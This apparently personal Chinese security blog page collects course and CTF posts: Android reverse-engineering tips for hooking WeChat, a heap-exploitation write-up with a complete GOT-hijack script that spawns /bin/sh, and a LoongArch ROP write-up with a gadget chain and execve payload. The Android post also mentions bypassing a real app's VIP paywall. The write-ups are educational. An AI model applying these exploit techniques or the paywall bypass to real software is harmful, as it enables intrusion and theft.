Cameudis' Blog

Binary Hack, Computer System, Music, and whatever

0%

在上PoRE前,我是Android零基础小白,Java也没写过。
刚刚接触那些Lab时,虽然挑战性也是有的,但终归是小打小闹的练习性质,只是助教出的题目。

然后那天,Proj1降临了。

真实软件逆向,而且参考目标还是微信。(微信是操作系统(雾))

meme

开始前,前辈和我说过:没有做的时候都会以为这不可能,但其实你可以的。
现在做完了PJ1,我也想对后来的同学说:虽然这可能会耗费非常多的时间、精力,但我认为这是值得的!
这可是复杂度超高的真实软件、商用软件、以及操作系统软件,逆向成功就已经代表了——你已经有了在安卓世界中遨游的资格。

但是,我当然不会觉得耗费时间多是PJ1的优点。
我想在这里总结一些做PJ1的经验,能帮后来者节省一些时间就最好了。

工具 & 环境

在做PJ1时,我们需要准备一个好的调试环境。

最好的调试环境显然是真机,因为性能足够,可以提高调试的体验。如果你有一台备用手机的话,可以尝试网上查询root方法。我的备用手机是红米K30Ultra,使用root方法是Magisk。
root成功之后,推荐LSPosed模块,这是一个支持Xposed模块的框架,在安卓高版本也可以运行。Magisk有一个MagiskFrida模块可以开机自启Frida-Server,也十分推荐安装。这样一来,Frida和Xposed环境都准备好了。

在模拟器上的调试环境,参考助教的文档说明即可。中间不可避免会遇到问题,这是锻炼定位问题-搜索能力-解决问题能力的好机会。当然,在连续高强度STFW(Search The Friendly Web)之后,是人都不可避免出现头晕、昏昏沉沉、眼冒金星、可能还有腰酸背痛颈椎痛的情况。此时建议出去走走,今天的PJ1就写到这里……

然后就是一些工具的介绍了:

Frida:Hook主力
使用参考上一期
由于Frida脚本启动速度极快,对脚本进行修改后,只要在本机上重新启动python脚本就可以看到新的效果,而不需要重启模拟器啥的。因此,推荐即使要开发Xposed模块,也先用Frida进行hook测试。

Xposed框架:略

DDMS:动态调试工具
在网上搜索DDMS,可以发现这是一个Android Studio已经废弃的功能,但现在依然可以使用,请参考这篇文章找到它。
主要推荐其中的查看控件id功能。当我想要hook某个按钮绑定的onClick函数,可以直接用DDMS查看那个按钮的控件ID,在逆向工具中根据该ID搜索,就可以找到那个控件的引用,从而找到程序在哪里为其注册了onClick函数。

JEB:逆向工具
JEB不能搜索Java代码,我觉得比Jadx难用,并且占内存似乎也要更多。

Jadx:逆向工具
可以直接在生成的Java伪代码中搜索,功能十分强大好用。
可以在这里安装:https://github.com/skylot/jadx/releases
推荐安装 jadx-gui with bundled JRE 版本,这个版本可以直接在启动脚本里修改JVM的最大内存,防止Jadx在逆向微信的时候爆炸。方法是找到启动脚本(jadx-gui.bat)中的 "-XX:MaxRAMPercentage=xxx",然后将后面的那个 xx 改得大一点,比如 90.0 之类的。也可以把这条直接改成 -Xmx4g 来指定具体的内存数量。

PKiD:查壳工具
链接:http://www.legendsec.org/1888.html
可以查询APP有么有加壳,不过比较古老了。如果加了壳的话,很多代码逻辑都不会在APP里直接看到。我遇到的第一个目标就加壳了,用这个软件检测出来了。

FRIDA-DEXDump:脱壳工具
链接:https://github.com/hluwa/FRIDA-DEXDump
可以从内存里把dex代码给Dump出来,存到本地之后可以用jadx直接打开那个文件夹,用dump下来的代码进行分析。

思路

面对一个庞大的APP文件,眼花缭乱的代码(经过混淆之后确实是眼花缭乱),你是否迷茫?反正我是挺迷茫的。
思路很重要。我们需要有目标的逆向,而不是漫无目的的逆向。

我们首要思考的,就是逆向目标和软件逻辑之间的练习。比如想要做一个广告跳过功能,就可以思考:程序如何启动广告?程序如何关闭广告?最直接的入口,就是广告右上角的跳过或者关闭按钮。从按钮入手,找到点击按钮时的程序逻辑,就一定可以找到跳过广告的方法。

微信发送消息也是类似的。程序在什么时候会发送消息呢?当我们点击发送键的时候。所以发送消息的逻辑一定可以通过按钮来找到。

像跳过广告、发送消息这种有明确按钮,可以在手机上通过点击来进行的操作是最好逆向的。但我们也会遇到很多不好逆向的情况,比如我选的任务目标之一是破解一个软件的会员内购;又比如我的另一个目标是微信机器人,需要逆向找到接受消息的逻辑。这种情况下,没有明显的入口可供我们调用,我们就需要从其他的角度入手。

在破解会员内购中,一种思路是支付的时候伪造成功的回复消息;另一种思路是通过某个界面组件在开通VIP前后的变化,找到用以判断VIP的那个关键逻辑函数。这两者都比前者难找一些,不过都是可行的思路,我前后两个思路都试了一遍才成功。

在微信接受消息中,可能就需要从聊天框中显示的对方发来的消息组件入手,找到它的类、它的父类……不过,我并没有老老实实找,因为PJ1文档中给的一篇参考文章作者已经提供了一个非常有用的信息——微信会把聊天数据存到数据库中。(注意,由于很多数据库API都是以字符串为参数的,这大大方便了逆向时的信息获取)

Trick

有了思路以后,就需要在开始寻找目标了。在寻找目标时,也有一些能够帮助逆向的小技巧。

其中,最有用的技巧一定是jadx中的搜索功能。想要找“发送”按钮就搜索“发送”,想要搜索“跳过广告”就搜索“跳过广告”,想要搜索SQL处理逻辑就搜索“SQL”,想要搜索一个抽象接口类的实现类就搜索那个接口的名字……
由于jadx的搜索支持类名、函数名、代码、注释、资源,想要搜什么都可以Ctrl+Shift+F召喚出搜索界面!

此外,还推荐多多使用Frida动静态结合地调试。在jadx中右键某函数后,选择“复制为Frida片段”,粘贴到Frida脚本之后,运行脚本,马上就可以看到那个函数的调用情况、参数以及返回值。比如在一个函数中,有大量的在if中的语句,我们不知道它们是否会被执行,此时就可以hook住那个函数,通过打印参数、打印this的各个域等等方式来打印出真实情况下这些判断条件的值,从而得知真实的执行流是怎样的。

最后,我在逆向时遇到的一个比较逆天的情况是真机环境的微信函数名、类名和我本地的安装包中的函数名、类名是不一样的。我本地的安装包可是直接用真机上的微信导出的啊,真不知道哪里出了问题。一种可能是微信做了安装时混淆,另一种可能是我自己把安装包弄混了。遇到hook不上的情况,可以试试打印可以确定的类的各个域和成员函数,如下代码所示:

1
2
3
4
5
6
7
8
9
let listener = Java.use("com.tencent.mm.pluginsdk.ui.chat.q");
var methods = listener.class.getDeclaredMethods();
for(var j = 0; j < methods.length; j++){
console.log(methods[j])
}
var fields = listener.class.getDeclaredFields();
for(var j = 0; j < fields.length; j++){
console.log(fields[j].getName())
}

领悟(建议)

面对一个新的情况,最好的办法是先网上搜一下。我感到使用谷歌进行搜索比百度要强一万倍,并且要多进行搜索,中文搜不到换英文再试试。比如像微信这样的软件,网络上一定会有许多已有的逆向资料(比如PJ1文档里助教给的参考文章),多搜多看,说不定就能遇到想找的东西。

在做PJ的时候,一定要注意保护好身体,注意坐姿和眼睛,不要沉迷逆向无法自拔!逆向的时间是过得很快的,并且有时会不断产生新的希望,让人在电脑面前坐着走不开。但很多时候,故意停下来去做别的事情,可能会产生更新更好的思路。
(Windows的话可以开个桌面专门当作逆向的工作桌面,这样停下来只要切换桌面就可以干别的事了)

此外,多和好同学交流一下思路、方法论非常有用,同学的思路往往能够大大地启发人!(可能比我写的破文章要更启发人)

最后,Proj1确实是很具有挑战性的一个作业,也是很难忘的一段旅途。我在Proj1里学到了一些东西,希望能帮助我以后解决更大的挑战,也希望能帮助到一些未来的同学~

P.S. 我也觉得PoRE这个难度坡度太大了,直接上真实的软件……或许可以在中间加一些小练习的,比如frida小练习(?)

Frida是一个几乎全平台(Windows、MacOS、GNU/Linux、IOS、Android)的代码插桩软件。它能够把谷歌的V8引擎(JavaScript、WebAssembly引擎,即解释器)注入到目标进程中,允许我们编写的JS脚本拥有对于整个进程内存空间的访问权、Hook进程里的代码、直接调用它们等……

Frida功能强大,且使用非常便捷、快速。比如在Android平台,Xposed模块也一样可以做到插桩,但调试起来麻烦得多,每次都要生成APK、安装APK、添加模块、重启环境。而Frida甚至不需要编译!官网对它的描述是 Scriptable,编辑后运行,直接就能够看到结果——你甚至不用重开目标进程!

如何使用Frida?Frida包括一个需要在目标机器上运行的Frida Server,同时,在本机上(用于写脚本的机器)提供了命令行工具(Frida CLI tool)、也可以用Python调用Frida API或直接编写JS脚本。

本笔记收集了一些安卓使用Frida的资源。

推荐食用方法是:

  1. 安装:如果你是PoRE学生,可以直接用助教给的方法,在虚拟机进行安装配置。否则可以参考官网文档。
    如果想要用真机进行调试,最好确保使用备用手机,可以使用magisk进行root,可以用一个magisk模块自动开机自启frida服务器,名为MagiskFrida。
  2. 从(助教给的例子或)官网的Example中学习,跑跑脚本并改一改脚本,学习Frida & Android的基础用法。
  3. 你已经可以直接上手了。遇到想要hook但不知道怎么hook的内容,从第三个链接(Sakura大佬的博客)那边可以学习如何使用,如何new一个类、如何获取一个类的实例等。
  4. python脚本与目标进程通信允许我们在主机上也能放一些逻辑,再加上python强大的第三方库支持,我们可以整很多活。等hook成功了之后,看看第四个链接的内容,想想可以整什么活。
  5. 最后是第五个链接,完整的官方文档,可以备着,想要实现某个奇怪的功能或了解某个接口的具体用法时查看。

安装配置:官网Android安装文档
官网Android Example(可以从注释学到基础用法):Android | Frida
大部分用法教程与示例:Frida Android hook | Sakuraのblog
目标进程与本地python脚本通信教程:Messages | Frida
详细的文档:JavaScript API | Frida

相关:realloc、tcache2.29

借用了很多巧合,实在是特别“幸运”的一个利用。
自己做出来之后,发现网上大部分wp都和我的解法不一样,但是更通用一些,不像我的那么极限(草)。

漏洞分析

保护情况:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
FORTIFY: Enabled

程序是一个菜单,提供了alloc、realloc、free功能,来操作bss段的两个栏位,大致功能如下:

  • alloc:选中栏当前为NULL时,使用 realloc(NULL, size) 分配新的区块并读入数据;
  • realloc:选中栏当前非NULL时,将选中栏使用 realloc(ptr, size) 来调整大小并(如果realloc返回值非0)读入数据;
  • free:将选中栏使用 realloc(ptr, 0) 进行释放,并将指针置零

主要的漏洞在于realloc的使用上,可以通过RTFM(在线man地址:realloc(3): allocate/free dynamic memory - Linux man page)得到realloc的说明:

The realloc() function changes the size of the memory block pointed to by ptr to size bytes. The contents will be unchanged in the range from the start of the region up to the minimum of the old and new sizes. If the new size is larger than the old size, the added memory will not be initialized. If ptr is NULL, then the call is equivalent to malloc(size), for all values of size; if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr). Unless ptr is NULL, it must have been returned by an earlier call to malloc(), calloc() or realloc(). If the area pointed to was moved, a free(ptr) is done.

注意到,当ptr字段为0,realloc等价于malloc;当ptr不为0但size为0时,realloc等价于free。

程序确实使用这两种功能来实现了malloc以及free,但是在realloc和free功能中,检查做得不够完善:

  • 当realloc中输入size为0,可以触发free,且不将原指针置零,创造了UAF的可能。
  • 使用free作用于空栏位(NULL),可以触发一次匿名的malloc(0)。这里的匿名指的是结果不会保存在bss段结构中,因为free会将其置零。

其实另外还在alloc功能中发现了一个Off-by-NULL漏洞,但我并没有想到很好的办法来用到这个漏洞。

Exploitation

在宏观的层面上,由于程序二进制本身虽然关闭了PIE,但没有特别有用的函数,因此思路还是两步走:泄露libc地址、劫持控制流。

泄露libc地址

程序本身并没有能够提供打印区块数据的功能,因此想要泄露libc数据就一定需要劫持控制流。
目前,栈地址未知排除ROP,将目标瞄准GOT:

1
2
3
4
5
6
7
8
9
10
11
off_404018 dq offset _exit  
off_404020 dq offset __read_chk
off_404028 dq offset puts
off_404030 dq offset __stack_chk_fail
off_404038 dq offset printf
off_404040 dq offset alarm
off_404048 dq offset atoll
off_404050 dq offset signal
off_404058 dq offset realloc
off_404060 dq offset setvbuf
off_404068 dq offset __isoc99_scanf

首先思考可不可以把唯一操作区块的外部函数——realloc替换为puts来泄露地址,笔者这时顾忌到题目限制了区块大小,不太方便构造 unsorted bin 中的区块。
因此将目标瞄准了atoll,这个函数在read_long中被调用,参数是栈上用来读入数字的buffer。可以尝试用它来泄露栈上的数据。

这时一个好主意是使用plt[printf]代替atoll,这样就可以在栈上指哪打哪,可惜笔者做的时候并没有想到这个好主意,只是用了plt[puts]。不过不影响,因为我遇到了第一个逆天的巧合:在buffer+8的位置就有一个libc地址。先介绍一下怎么覆写的:

1
2
3
4
5
alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

第一行创建了一个0x20大小区块,第二行将其释放进入tcache,同时保留了这个指针。
第三行使用了realloc,realloc发现这个区块大小正常就直接放行了,从而我们可以覆盖fd指针为got[atoll]。
第四行使用free的漏洞来申请一个匿名区块,分配完之后再下一个区块就是atoll了。
第五行将atoll覆盖为plt[puts],并顺便把realloc覆盖为一个普通 ret 的地址,原因后面再说。

这里需要提一嘴,我使用了匿名区块来解决这一问题:非0的栏位无法进行alloc。不过在复盘时,从网上的大佬那边发现可以通过一种非常巧妙的方式来将栏位置零,同时又不干扰已经位于tcache中的atoll地址,从而将后续利用流程也变得直观一些。
可以通过realloc将区块变大,然后再free。这样就可以free到别的大小的tcache中,并且根本不用关注key的检查,也不会将atoll的地址覆盖,一举两得。
参考地址见Binary Exploitation [pwnable.tw] - Realloc - Tainted Bits

接下来泄露libc地址,由于buffer+8就有,因此简简单单就可以泄露了:

1
2
3
4
5
6
7
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

攻击!

目标是 get shell,由于之前已经有了指向GOT的指针(栏位1中),所以我们想办法利用realloc中最后的那个read_input函数来再次修改GOT。
但由于realloc在中间会调用realloc(废话),直接让他realloc一个GOT中的区块大概率是要出问题的,而且程序会往realloc的返回值中读入数据。因此我们需要想一个办法让realloc调用返回之后,rax是GOT中区块的地址。

静态分析一波,并没有发现什么 mov rax, rdi; ret; 的gadget,难道我的方法走不下去了吗?于是动态分析一波,惊喜地发现 程序在调用realloc之前,rax中就已经是GOT中区块地地址了,令人不得不感叹 大自然 出题人的鬼斧神工。

所以就有了上面把realloc覆盖为一个简单的 ret 。这样一来,在执行了下面几句代码后,atoll就会变成system的地址(注意注释,很重要):

1
2
3
4
5
6
7
8
9
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

最后,我们随便触发一个read_long,输入/bin/sh,就可以成功 get shell!当然,也可以直接输入 cat ~/flag,如果您需要节省时间的话。

1
2
3
4
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def alloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc_free(id):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(b"0")

def free(id):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))


def pwn():

# ---------- leak libc ----------

# 1.1 hijack GOT[atoll] to PLT[puts], GOT[realloc] to 'ret'

alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

# 1.2 leak libc load address (from stack)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

# ---------- hijack GOT ----------

# 2.1 hijack GOT[atoi] to libc[system]

io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

# 2.2 trigger system("/bin/sh") by atoi("/bin/sh")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

success("Enjoy your shell!")
io.interactive()

这个故事告诉我们:涉及内存安全的函数还是要小心小心再小心,仔细阅读手册、了解边界行为……

官方教程:Creating Burp extensions - PortSwigger
Montoya官方文档:MontoyaApi
Montoya官方示例:PortSwigger/burp-extensions-montoya-api-examples: Examples for using the Montoya API with Burp Suite

Burp Suite过去插件开发使用的是Extender API,不过最近推出了一套新的API(今年1月刚刚发布),叫做Montoya API。新的API增加了Burp Suite插件开发的简便性,但是似乎并不完善,还有一些接口没有实现的样子。

对于Lab4中的任务,也就是自动处理HTTP包的插件,可以参考这个例子:burp-extensions-montoya-api-examples/proxyhandler/src/main/java/example/proxyhandler at main · PortSwigger/burp-extensions-montoya-api-examples

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Ext implements BurpExtension {

@Override
public void initialize(MontoyaApi api) {
api.extension().setName("Lab4_Extension");

Logging logging = api.logging();

// write a message to our output stream
logging.logToOutput("Hello output.");

api.proxy().registerRequestHandler(new RequestHandler(logging));
logging.logToOutput("Bind RequestHandler");
api.proxy().registerResponseHandler(new RespondHandler(logging));
logging.logToOutput("Bind RespondHandler");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class RequestHandler implements ProxyRequestHandler {
private final Logging logging;
RequestHandler(Logging logging) {
this.logging = logging;
}
@Override
public ProxyRequestReceivedAction handleRequestReceived(InterceptedRequest interceptedRequest) {

logging.logToOutput("Request");
logging.logToOutput("url " + interceptedRequest.url());
logging.logToOutput("request " + interceptedRequest.bodyToString());

// modify the request
HttpRequest new_request = interceptedRequest;
if (interceptedRequest.url().contains("login")) {
logging.logToOutput("Login detected");
new_request = interceptedRequest.withBody("msg=...");
} else if (interceptedRequest.url().contains("buy")) {
logging.logToOutput("Buy detected");
new_request = interceptedRequest.withBody("msg=...");
}

return ProxyRequestReceivedAction.continueWith(new_request);
}

@Override
public ProxyRequestToBeSentAction handleRequestToBeSent(InterceptedRequest interceptedRequest) {
//Do nothing with the user modified request, continue as normal.
return ProxyRequestToBeSentAction.continueWith(interceptedRequest);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class RespondHandler implements ProxyResponseHandler {
private final Logging logging;
RespondHandler(Logging logging) {
this.logging = logging;
}
@Override
public ProxyResponseReceivedAction handleResponseReceived(InterceptedResponse interceptedResponse) {
logging.logToOutput("Response");
logging.logToOutput("response " + interceptedResponse.bodyToString());

// modify the response
if (interceptedResponse.bodyToString().equals("...")) {
return ProxyResponseReceivedAction.continueWith(interceptedResponse.withBody("..."));
}
return ProxyResponseReceivedAction.continueWith(interceptedResponse);
}
@Override
public ProxyResponseToBeSentAction handleResponseToBeSent(InterceptedResponse interceptedResponse) {
return ProxyResponseToBeSentAction.continueWith(interceptedResponse);
}
}

Loongarch ROP
比赛时发现了这是LoongArch的ROP,然后不太会找gadget就放弃了。赛后看大佬的writeup,发现只要找到一个关键的来自_dl_runtime_resolve的gadget,就可以万事大吉了。
复现参考:CTFtime.org / UTCTF 2023 / Bing Chilling / Writeup


环境准备

我们都知道 Linux 下的可执行文件是 ELF 格式,但 ELF 也分架构,比如这个 binary 就并不是 amd64 架构的,而是 Loongarch 龙架构。

1
2
$ file hello
hello: ELF 64-bit LSB executable, *unknown arch 0x102* version 1 (SYSV), statically linked, for GNU/Linux 5.19.0, with debug_info, not stripped

可以看到其 ELF Header 中的 arch 字段值为 0x102,是一个 file 未知的架构。在网上查询 0x102,可以知道这是龙架构。为了调试这个 binary,我们需要一台龙架构真机……或者是一个龙芯模拟器。此外,我们还需要能够静态分析这个 binary 的工具,比如 objdump。

著名的模拟器 qemu 在其 7.1.0 版本引入了对龙架构模拟的支持,因此我们安装下最新的 qemu 就行了。
Releases · loongson/build-tools (github.com) 这里可以找到一些龙架构的交叉编译(跨架构生成 ELF)的工具,其中就包括龙架构的 objdump。
最后,为了动态调试,可能还需要一个支持龙架构的 gdb。gdb 在 13.1 版本引入了对龙架构调试的支持,可以通过下面的指令来在 /opt/gdb 目录下编译支持龙架构的 gdb(中途遇到报错多半是缺少某个库,可以上网搜)(执行指令的位置无所谓,不过在 root 的目录下需要加很多 sudo ……):

1
2
3
4
5
6
7
8
wget https://ftp.gnu.org/gnu/gdb/gdb-13.1.tar.xz
tar xf gdb-13.1.tar.xz
cd gdb-13.1
mkdir build
cd build
../configure --target=loongarch64-unknown-linux-gnu --prefix=/opt/gdb
make
sudo make install

编译得到的 gdb 位于 /opt/gdb/bin/loongarch64-unknown-linux-gnu-gdb

程序分析

学过 mips 和 riscv 的朋友会对 LoongArch 的指令集感到比较熟悉,LoongArch 也是 risc。它的寄存器昵称和 riscv 的几乎一模一样,比如存放 return address 的 ra。
从 pwner 的视角来看,龙架构:

  • 系统调用的参数依次存放在 a0a1a2a3a4, ……
  • 系统调用编号存放在:a7
  • 返回地址存放在 ra 寄存器中
    返回指令是 jirl $zero, $ra, 0 
  • bl 用作 call,先把返回地址存到 ra 然后跳转到目标地址
  • syscall 指令就是 syscall

使用 cross tool 中的 objdump 可以查看 binary 的汇编,我们直接看 main 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000120000520 <main>:
120000520: 02fec063 addi.d $sp, $sp, -80(0xfb0)
120000524: 29c12061 st.d $ra, $sp, 72(0x48)
120000528: 29c10076 st.d $fp, $sp, 64(0x40)
12000052c: 02c14076 addi.d $fp, $sp, 80(0x50)
120000530: 1a000b0c pcalau12i $t0, 88(0x58)
120000534: 02e46184 addi.d $a0, $t0, -1768(0x918)
120000538: 54bf0000 bl 48896(0xbf00) # 12000c438 <_IO_puts>
12000053c: 02fec2cc addi.d $t0, $fp, -80(0xfb0)
120000540: 00150184 move $a0, $t0
120000544: 54bb5400 bl 47956(0xbb54) # 12000c098 <_IO_gets>
120000548: 02fec2cc addi.d $t0, $fp, -80(0xfb0)
12000054c: 00150185 move $a1, $t0
120000550: 1a000b0c pcalau12i $t0, 88(0x58)
120000554: 02e4e184 addi.d $a0, $t0, -1736(0x938)
120000558: 54651800 bl 25880(0x6518) # 120006a70 <_IO_printf>
12000055c: 0015000c move $t0, $zero
120000560: 00150184 move $a0, $t0
120000564: 28c12061 ld.d $ra, $sp, 72(0x48)
120000568: 28c10076 ld.d $fp, $sp, 64(0x40)
12000056c: 02c14063 addi.d $sp, $sp, 80(0x50)
120000570: 4c000020 jirl $zero, $ra, 0

从中可以观察到很多经典的过程调用行为,比如开始时拓展栈空间、存放返回地址等信息;结束时取回返回地址、恢复栈空间。毕竟栈这种 LIFO 的结构对于过程调用还是非常根本的。
注意到,main 函数会依次调用 puts、gets 和 printf。有 gets 不就可以直接栈溢出了吗?
使用 qemu-loongarch64 hello,然后输入一大段 A,果然 qemu 报了 segmentation fault。

接下来的问题就是,我们已经能够控制栈了,那么 LoongArch 的栈上可以 ROP 吗?答案是可以。虽然 LoongArch 有专门用来存返回地址的 ra 寄存器,但很多过程仍然会把返回地址存到栈上,这是因为这些过程自己也需要调用其他的过程。因此,LoongArch 过程的结束既有从栈上读取返回地址,又有返回指令,可以进行 ROP。

漏洞利用

我们的目标是 get shell,但这个 hello 虽然是静态链接的,却没有 system 函数。不过,我们可以直接找到 syscall gadget:

1
2
120013e4c:	002b0000 	syscall     	0x0
120013e50: 4c000020 jirl $zero, $ra, 0

至于 LoongArch Linux 的 Syscall Table,我好像只在 [6/14, LoongArch] Linux Syscall Interface - Patchwork (ozlabs. Org) 有看到,其中 execve 是 221。
只要能够控制 $a0 指向一个 “/bin/sh” 的字符串,$a1 和 $a2 控制为 0,就可以 get shell。我们需要为此找到合适的 gadget。

从本文参考的文章那边找到了一个非常牛逼的 gadget,来自 _dl_runtime_resolve 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
120048098:   0015008d        move            $t1, $a0
12004809c: 28c12061 ld.d $ra, $sp, 72(0x48)
1200480a0: 28c02064 ld.d $a0, $sp, 8(0x8)
1200480a4: 28c04065 ld.d $a1, $sp, 16(0x10)
1200480a8: 28c06066 ld.d $a2, $sp, 24(0x18)
1200480ac: 28c08067 ld.d $a3, $sp, 32(0x20)
1200480b0: 28c0a068 ld.d $a4, $sp, 40(0x28)
1200480b4: 28c0c069 ld.d $a5, $sp, 48(0x30)
1200480b8: 28c0e06a ld.d $a6, $sp, 56(0x38)
1200480bc: 28c1006b ld.d $a7, $sp, 64(0x40)
1200480c0: 2b814060 fld.d $fa0, $sp, 80(0x50)
1200480c4: 2b816061 fld.d $fa1, $sp, 88(0x58)
1200480c8: 2b818062 fld.d $fa2, $sp, 96(0x60)
1200480cc: 2b81a063 fld.d $fa3, $sp, 104(0x68)
1200480d0: 2b81c064 fld.d $fa4, $sp, 112(0x70)
1200480d4: 2b81e065 fld.d $fa5, $sp, 120(0x78)
1200480d8: 2b820066 fld.d $fa6, $sp, 128(0x80)
1200480dc: 2b822067 fld.d $fa7, $sp, 136(0x88)
1200480e0: 02c24063 addi.d $sp, $sp, 144(0x90)
1200480e4: 4c0001a0 jirl $zero, $t1, 0

似乎不管在哪个架构中,_dl_runtime_resolve 函数的功能都是保存寄存器的值到栈中,然后调用_dl_fixup执行具体的功能,然后从栈中恢复寄存器。因此以后要是遇到了什么riscv pwn,也可以使用这个gadget。
这个 gadget 能够控制所有参数寄存器,但需要提前把返回地址存在 $a0 中。所以继续手工找 gadget:

1
2
3
4
5
6
7
8
12000bc54:   28c0a061        ld.d            $ra, $sp, 40(0x28)
12000bc58: 28c08077 ld.d $s0, $sp, 32(0x20)
12000bc5c: 28c04079 ld.d $s2, $sp, 16(0x10)
12000bc60: 28c0207a ld.d $s3, $sp, 8(0x8)
12000bc64: 00150304 move $a0, $s1
12000bc68: 28c06078 ld.d $s1, $sp, 24(0x18)
12000bc6c: 02c0c063 addi.d $sp, $sp, 48(0x30)
12000bc70: 4c000020 jirl $zero, $ra, 0

这个 gadget 可以把 $s1 移到 $a0 ,那就继续找可以改 $s1 的 gadget:

1
2
3
4
5
6
7
12000be90:   28c06061        ld.d            $ra, $sp, 24(0x18)
12000be94: 0012e004 sltu $a0, $zero, $s1
12000be98: 28c04077 ld.d $s0, $sp, 16(0x10)
12000be9c: 28c02078 ld.d $s1, $sp, 8(0x8)
12000bea0: 00119004 sub.d $a0, $zero, $a0
12000bea4: 02c08063 addi.d $sp, $sp, 32(0x20)
12000bea8: 4c000020 jirl $zero, $ra, 0

有了这三个 gadget,齐活了!我们拥有了执行任意函数、任意 syscall 的能力。
接下来就是 exp 了,思路是首先把 “/bin/sh”读入到已知地址(程序关闭了 PIE),比如 bss 段,然后用 syscall gadget 来 get shell。前者我们可以通过 return to gets 来实现。

利用脚本写得不是很优雅,不过懒得改了。总之知道大概意思就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
g1 = 0x12000bc54
g2 = 0x12000be90
g3 = 0x120048098
sys = 0x120013e4c
buf_addr = 0x120087000
gets_addr = 0x12000c098


def pwn():
payload = b"A" * 72
payload += flat([
g2,
0, gets_addr, 0
])
payload += flat([
g1,
0, 0, 0, 0, 0,
])
payload += flat([
g3,
0, buf_addr, 0, 0, 0, 0, 0, 0, 0,
g2,
0, 0, 0, 0, 0, 0, 0, 0,
])
payload += flat([
0, sys, 0
])
payload += flat([
g1,
0, 0, 0, 0, 0,
])
payload += flat([
g3,
0, buf_addr, 0, 0, 0, 0, 0, 0, 221,
g2,
0, 0, 0, 0, 0, 0, 0, 0,
])

io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

我们CTF萌新小分队已经达到了4人之多(`ヮ´),这次排名41/433,感觉很好~
这道题有十个队做出来,很高兴我也弄出来了,还顺便大致学会了docker配本地环境,挺感动的~~

漏洞:随机数未设种子、数组下标溢出


程序逻辑

程序给了 N 个代码源文件以及DockerFile。主要逻辑是用 C code 写的,但是封装成了一个 Python 可以调用的模块,名为 spy,相关信息参考python文档 Extending Python with C or C++ — Python 3.11.2 documentation

game.py 会让玩家选择游戏模式(easy or hard),然后调用 spy 模块的接口,如果返回通过就把 flag 打印出来。spy 模块的主要逻辑大致如下:

  • 首先进行八轮循环,每轮循环中:
    1. 生成一个固定大小的数组,元素类型 uint8_t
    2. 随机取两个数交换
    3. 打印交换后的数组
    4. 玩家输入两个 index(这一步将会计时,并分别将前后的时间保存到局部变量 start_nsend_ns 中)
